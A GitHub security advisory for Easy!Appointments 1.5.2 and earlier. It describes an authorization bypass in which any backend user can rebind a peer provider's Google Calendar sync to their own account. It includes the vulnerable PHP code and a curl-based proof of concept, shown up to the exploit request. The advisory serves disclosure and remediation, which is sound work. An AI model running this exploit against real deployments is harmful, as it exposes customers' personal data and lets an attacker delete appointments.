GitHub Advisoryadvisory · Packagist
GHSA-8hm4-r66f-29wr Easy!Appointments: Authorization bypass in Google OAuth provider binding lets any backend user rebind a peer provider's Google sync
LOW
Official page ↗
- Aliases
- CVE-2026-52841
- Ecosystem
- Packagist
- Packages
- alextselegidis/easyappointments
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:L/I:L/A:N
- Weaknesses
- CWE-639
- Reviewed
- 2026-07-29
Affected packages
• Packagist alextselegidis/easyappointments: <= 1.5.2 (no fix yet)
Description
Summary
`Google::oauth` at `application/controllers/Google.php:278` stores its URL-supplied `provider_id` in the session, and `oauth_callback` saves the issued Google OAuth token against that row without checking the caller owns the provider. Any logged-in backend user (admin, provider, or secretary) rebinds a peer provider's Google sync to a Google account they control. The peer's appointments then sync into the attacker's calendar with each customer's name and email attached as attendee data.
Preconditions
• Attacker holds a backend login on the target instance (admin, provider, or secretary). The customer role cannot log in.
• The instance has Google Calendar OAuth configured at `application/config/google.php` - i.e. any deployment that uses the Google sync feature at all.
• Default deployment per the project's own `docker-compose.yml`; no non-default flags required.
Details
```php
// application/controllers/Google.php:278-289
public function oauth(string $provider_id): void
{
if (!$this->session->userdata('user_id')) {
show_error('Forbidden', 403);
}
// Store the provider id for use on the callback function.
session(['oauth_provider_id' => $provider_id]); // (*) attacker-chosen id stored unchecked
// Redirect browser to google user content page.
header('Location: ' . $this->google_sync->get_auth_url());
}
```
```php
// application/controllers/Google.php:305-337
public function oauth_callback(): void
{
if (!session('user_id')) {
abort(403, 'Forbidden');
}
$code = request('code');
if (empty($code)) { response('Code authorization failed.'); return; }
$token = $this->google_sync->authenticate($code);
if (empty($token)) { response('Token authorization failed.'); return; }
$oauth_provider_id = session('oauth_provider_id');
if ($oauth_provider_id) {
$this->providers_model->set_setting($oauth_provider_id, 'google_sync', true); // (*)
$this->providers_model->set_setting($oauth_provider_id, 'google_token', json_encode($token)); // (*)
$this->providers_model->set_setting($oauth_provider_id, 'google_calendar', 'primary');
} else {
response('Sync provider id not specified.');
}
}
```
The same controller already carries the right gate on every other sync-management entry. `select_google_calendar` at `application/controllers/Google.php:389` and `disable_provider_sync` at `application/controllers/Google.php:423` both refuse the call when the caller is neither an admin nor the provider themselves:
```php
// application/controllers/Google.php:389
if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) {
throw new RuntimeException('You do not have the required permissions for this task.');
}
```
`oauth` and `oauth_callback` skip that check. Once the callback runs with `oauth_provider_id` pointing at a peer provider, the peer's `user_settings` row is overwritten with the attacker's OAuth token and `google_sync` is forcibly enabled.
The attack chain that delivers the data:
• `Synchronization::sync_appointment_saved` at `application/libraries/Synchronization.php:51` runs on every booking save. The path includes the unauthenticated public booking flow (`Booking::register` at `application/controllers/Booking.php:463`) and the backend save (`Calendar::save_appointment` at `application/controllers/Calendar.php:306`). When `$provider['settings']['google_sync']` is truthy the handler reads `google_token` from the row - now the attacker's - refreshes it, and calls `Google_sync::add_appointment`.
• `Google_sync::add_appointment` at `application/libraries/Google_sync.php:184-189` adds the customer as a Google calendar attendee with their first name, last name, and email.
• The cron-triggered `Console::sync` -> `Google::sync($provider_id)` at `application/controllers/Google.php:44` walks the existing `sync_past_days` and `sync_future_days` windows and pushes every appointment to the attacker's calendar.
• The same loop deletes the local row whenever the remote event throws or is `cancelled` (`application/controllers/Google.php:186-191`); the attacker rolls events out of their Google calendar to delete the victim provider's appointments. Events the attacker creates in their own calendar arrive as unavailability records on the victim's schedule (`application/controllers/Google.php:209-254`).
Proof of concept
Setup
1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack:
```bash
git clone https://github.com/alextselegidis/easyappointments
cd easyappointments
git checkout 1.5.2
cp config-sample.php config.php
docker compose up -d
until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done
```
2. Run the console installer. The seed sets administrator's password to the literal string `administrator` (see `application/libraries/Instance.php:99`):
```bash
docker compose exec -T php-fpm php index.php console install
```
3. Configure the install's Google OAuth client. Paste the client id and secret from a Google Cloud project you control into `application/config/google.php` and add `http://localhost/index.php/google/oauth_callback` to the project's authorized redirect URIs. This step is already done on any deployment that uses Google sync.
4. Log in as `administrator` and persist the cookie jar (the project's session cookie is `ea_session`):
```bash
export ADMIN_JAR=/tmp/admin.cookies
curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "username=administrator" \
--data-urlencode "password=administrator" > /dev/null
```
5. Create the attacker provider (the default `require_phone_number=1` setting makes that field mandatory). Capture both ids:
```bash
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR)
curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode 'provider[first_name]=Mal' \
--data-urlencode 'provider[last_name]=Lory' \
--data-urlencode 'provider[email][email protected]' \
--data-urlencode 'provider[phone_number]=+10000000000' \
--data-urlencode 'provider[timezone]=UTC' \
--data-urlencode 'provider[language]=english' \
--data-urlencode 'provider[settings][username]=mallory' \
--data-urlencode 'provider[settings][password]=Attacker-pw-1' \
--data-urlencode 'provider[settings][notifications]=0'
export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
-e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'")
export VICTIM_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \
-e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='janedoe'")
```
6. Log in as the attacker provider into a dedicated cookie jar:
```bash
export ATTACKER_JAR=/tmp/attacker.cookies
curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null
CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR)
curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \
--data-urlencode "csrf_token=$CSRF" \
--data-urlencode "username=mallory" \
--data-urlencode "password=Attacker-pw-1" > /dev/null
```
Exploit
1. The attacker, logged in as a regular provider with id `$ATTACKER_ID`, points `/google/oauth/` at the victim provider's id `$VICTIM_ID`:
```bash
curl -si -b $ATTACKER_JAR "http://localhost/index.php/google/oauth/$VICTIM_ID" | head -5
```
Expected: `HTTP/1.1 302 Found` with `Location: http…
Related
Alias · CVE (1)
- CVE-2026-52841 Easy!Appointments is a self hosted appointment scheduler. vulnerability
Weakness · CWE (1)
- CWE-639 Authorization Bypass Through User-Controlled Key weakness
References
- https://github.com/alextselegidis/easyappointments/security/advisories/GHSA-8hm4-r66f-29wr web
- https://nvd.nist.gov/vuln/detail/CVE-2026-52841 advisory
- https://github.com/alextselegidis/easyappointments/commit/4b2d245d2cd2058dc76e05f6eb65b26699268471 web
- https://github.com/alextselegidis/easyappointments package
- https://github.com/alextselegidis/easyappointments/releases/tag/1.6.0 web